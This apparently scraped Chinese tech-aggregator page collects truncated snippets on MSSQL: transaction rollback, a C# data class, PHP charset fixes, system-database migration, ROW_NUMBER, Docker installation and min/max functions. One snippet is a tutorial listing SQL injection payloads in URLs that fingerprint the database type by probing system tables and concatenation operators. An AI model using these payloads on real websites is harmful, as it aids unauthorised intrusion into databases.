mssql

防止mssql误删除数据的方法

不问归期 提交于 2020-12-16 15:40:45
begin tran --开启事务 commit tran --提交事务 rollback tran --回滚事务 这样设置查询分析器后,不小update和delete错数据了,可以用 rollback tran --回滚事务 确定没有错误了,则 commit tran --提交事务 来源: oschina 链接: https://my.oschina.net/u/162002/blog/263298

SQL注入判断数据库类型

ぐ巨炮叔叔 提交于 2020-04-02 23:06:05
页面返回的报错信息判断 默认端口判断 Oracle port:1521 SQL Server port:1433 MySQL port:3306 数据库特有的数据表判断 oracle数据库 http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1 mysql数据库(mysql版本在5.0以上) http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1 access数据库 http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1 mssql数据库 http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1 数据库特有的连接符判断 mysql数据库 http://127.0.0.1/test.php?id=1 and '1' + '1' = '11' http://127.0.0.1/test.php?id=1 and CONCAT('1','1')=

C# MSSQL数据库类

北战南征 提交于 2020-03-23 10:34:13
嘿嘿,今晚无聊写了个MSSQL操作类,算是C#征途的一个起步,博客园的各位朋友尽量拍砖!我的进步靠大家,希望大家不吝赐教!! 1 class MsSql 2 { 3 private string connectString; 4 5 public MsSql( string connString) 6 { 7 connectString = connString; 8 } 9 10 /// <summary> 11 /// 查询数据库,并返回DataSet集 12 /// </summary> 13 /// <param name="cmdString"> 查询语句 </param> 14 /// <returns> 返回DataSet </returns> 15 public DataSet GetDataSet( string cmdString) 16 { 17 SqlConnection sqlConn = new SqlConnection(connectString); 18 19 SqlDataAdapter da = new SqlDataAdapter(cmdString, sqlConn); 20 DataSet ds = new DataSet(); 21 try 22 { 23 sqlConn.Open(); 24 25 da.Fill(ds); 26 //

php mssql 中文各种乱码

半城伤御伤魂 提交于 2020-03-16 12:46:04
1 查询输出时乱码 (SELECT ) 因为MSSQL 数据库一般都是 GBK 编码,所以在php页面中加入 header('Content-Type:text/html; charset=GBK'); 也可以使用 以下语句查看: 然后按对应表设置字符集. SELECT COLLATIONPROPERTY('Chinese_PRC_90_CI_AI', 'CodePage') 返回值对应表: 936 简体中文GBK 950 繁体中文BIG5 437 美国/加拿大英语 932 日文 949 韩文 866 俄文 65001 unicode UFT-8 2 插入时乱码(INSERT) 插入时乱码,要对查询的 sql 语句进行字符集的转换 $insert = "Insert into peple(name,sex) VALUES(N'帅哥','male') ";$insert = iconv("utf-8", "gbk", $insert); 3 更新时(UPDATE) 同上,对更新SQL语句进行 字符集的转换. 来源: https://www.cnblogs.com/BinBinGo/p/5693732.html

SQL SERVER系统数据库的迁移

倾然丶 夕夏残阳落幕 提交于 2020-03-02 12:49:21
sqlserver安装完成后自带的四个系统数据库:master、model、msdb、tempdb; 其迁移过程与用户自己创建的数据库迁移有所区别: 用户创建的数据库可以通过分离,迁移数据库文件,附加的方式来达到迁移数据库的目的; 但是系统数据库是没有分离一说的,另外这四个数据库的迁移也不尽相同。 系统数据库迁移说明: 备份系统数据库; 这些数据库很重要,尤其是master数据库,迁移时一定是采购拷贝的方式,别剪切,慎重操作。等最终完成操作后,再把这些文件剪切到其他文件夹备份起来。 迁移model、msdb、tempdb; 执行SQL脚本: --Move tempdb ALTER DATABASE tempdb MODIFY FILE(NAME='tempdev',FILENAME='D:\OADB\MSSQL\DATA\tempdb.mdf'); ALTER DATABASE tempdb MODIFY FILE(NAME='templog',FILENAME='D:\OADB\MSSQL\DATA\templog.ldf'); --Move model ALTER DATABASE model MODIFY FILE(NAME='modeldev',FILENAME='D:\OADB\MSSQL\DATA\model.mdf'); ALTER DATABASE model

支持多语言、多用户、多数据库、完美URL之路过秋天版博客 V1.0正式版 发布[含详细部署安装说明]

核能气质少年 提交于 2020-02-23 07:54:33
2010年11月8日,由于网友的期待,勿勿发布了 支持多语言、多用户、多数据库、完美URL之路过秋天版博客发布[绝对有杀伤力的博客] 在发布的当天,有相当多的网友很给力,对 在线演示版本 其进行了相当程度的测试,犹其是针对安全性的测试更是卯足了劲, 于是不少很明显的漏洞及bug便轻易浮出了水面,为了防止其它用户也能正常访问, 于是采取时即修正更新的方式,一边修正一边测试了......一直进行了约2天的时间...... 2010年11月10日,在针对安全问题及少数问题其它问题进行修正趋于稳定之后: 发布了: 基础却容易被忽略的那点事--web入侵方式及注意事项总结 不少网友仍然还是热力十足,继续进行讨论与测试,至今,已有近300网友对其注册了测试账号进行体验与测试,至今,已趋于稳定。 原V1.0 测试版本,已有近200的下载,只是很遗憾的说,原版本存在安全问题。不知大伙下载后的情况如何? 当然,第一次版本,对于大多数网友来说,猜测下载可能只是本地体验或者研究; 由于开发方式及重定向缘由,没有传统的aspx页面,猜测大伙可能搭建运行环境时存在些许困难,代码无法动作,因此下载后可能也成了摆设。 一:针对以上问题,今天发布的版本主要有以下两个重点 1:发布V1.0正式版 1:解决了原有的安全问题,同时推出加密密钥,解决区分不同的站点的加密方式。 2:并修复了个别Bug

[MSSQL]ROW_NUMBER函数

元气小坏坏 提交于 2020-02-22 08:22:59
ROW_NUMBER()在SQL2K5版本中新增,该函数返回结果集 分区内 行的序列号,每个分区的第一行从 1 开始,连续不间断,后跟 OVER BY 子句或者 PARTITION BY 子句 先构造一张表,放一些数据进行,SQL脚本如下 --DROP TABLE T CREATE TABLE T(GRP_A VARCHAR(20),GRP_B VARCHAR(20),GRP_C VARCHAR(20),VAL INT) INSERT INTO T(GRP_A,GRP_B,GRP_C,VAL) SELECT 'a1','b1','c1',10 union all SELECT 'a1','b1','c2',20 union all SELECT 'a1','b2','c2',30 union all SELECT 'a1','b2','c3',40 union all SELECT 'a1','b2','c3',50 union all SELECT 'a2','b3','c3',12 union all SELECT 'a2','b3','c3',22 union all SELECT 'a2','b3','c3',32 SELECT * FROM T 执行查询后的结果: GRP_A GRP_B GRP_C VAL -------------------- -----------

记录 docker 安装mssql 2017

女生的网名这么多〃 提交于 2020-01-30 20:23:27
系统环境:阿里云 CentOS 7 ,4G内存 参考: https://docs.microsoft.com/zh-cn/sql/linux/quickstart-install-connect-docker?view=sql-server-linux-2017&pivots=cs1-bash 前提是,当前运行内存要 >=2G,要不然,docker 运行的时候 会报这个错 This program requires a machine with at least 2000 megabytes of memory. 1、先拉取镜像 docker pull microsoft/mssql-server-linux 2、创建一个sql目录 mkdir /var/opt/mssql 3、后台运行 mssql-server docker run --name mssql-server -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=<你的密码>' \ -p 1433:1433 \ -v $HOME/sql:/var/opt/mssql \ -d microsoft/mssql-server-linux 4、进入mssql 容器 sudo docker exec -it mssql-server "bash" 5、登陆sqlServer /opt/mssql-tools

MSSQL:两数中的最大值或最小值

徘徊边缘 提交于 2020-01-26 03:38:58
在mssql中,如果想知道两个数中的最大值,你可能会想到执行以下语句: select max(1729,1024) 但是你获取的是两行错误信息: 消息 174,级别 15,状态 1,第 1 行 max 函数要求有 1 个参数。 也就是说,在 MSSQL 数据库中最大最小的函数只能针对字段来操作,无法取两数中的最大或最小.为此,我写了以下函数,来达到最两值最大或最小的目的: 以下两个函数则可以取出两数中的最大值或最小值: -- 取两数中的最大数 create function imax (@n1 int,@n2 int) returns int as begin declare @n int if(@n1 is null or @n2 is null) set @n = null if(@n1>@n2) set @n = @n1 else set @n = @n2 return @n end -- 取两数中的最小数 create function imin (@n1 int,@n2 int) returns int as begin declare @n int if(@n1 is null or @n2 is null) set @n = null if(@n1<@n2) set @n = @n1 else set @n = @n2 return @n end 执行结果:

三、依赖注入是什么?

寵の児 提交于 2020-01-21 08:52:27
接口 在说依赖注入之前,先了解下什么是接口。 我们在学编程的时候都知道,接口的相关规则: ( 来源百度百科 ) 1. 接口是一个引用类型,通过接口可以实现多重继承。 2. C#中接口的成员不能有new、public、protected、internal、private等修饰符。 3. 接口中只能声明"抽象"成员(所以不能直接下一步对接口进行实例化(即不能使用new操作符声明一个接口的实例对 象)),而不能声明共有的域或者私有的成员变量。 4. 接口声明不包括数据成员,只能包含方法、属性、事件、索引等成员。 5. 接口名称一般都以“I”作为首字母(当然不这样声明也可以),这也是接口和类的一个区别之一。 6. 接口成员的访问级别是默认的(默认为public),所以在声明时不能再为接口成员指定任何访问修饰符,否则 编译器会报错。 7. 接口成员不能有static、abstract、override、virtual修饰符,使用new修饰符不会报错,但会给出警告说不需要关键字new。 8. 在声明接口成员的时候,不准为接口成员编写具体的可执行代码,也就是说,只要在对接口进行声明时指明接口的成员名称和参数就可以了。 9. 接口一旦被实现,实现类必须实现接口中的所有成员,除非实现类本身是抽象类(通过具体的可执行代码实现接口抽象成员的操作)。 很多时候看到这么多的概念,也是云里雾里的